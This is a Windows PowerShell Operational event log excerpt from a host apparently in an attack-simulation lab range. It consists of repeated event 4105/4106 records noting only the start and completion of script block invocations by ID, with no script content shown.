Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037901
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037877
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037875
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037874
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037857
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
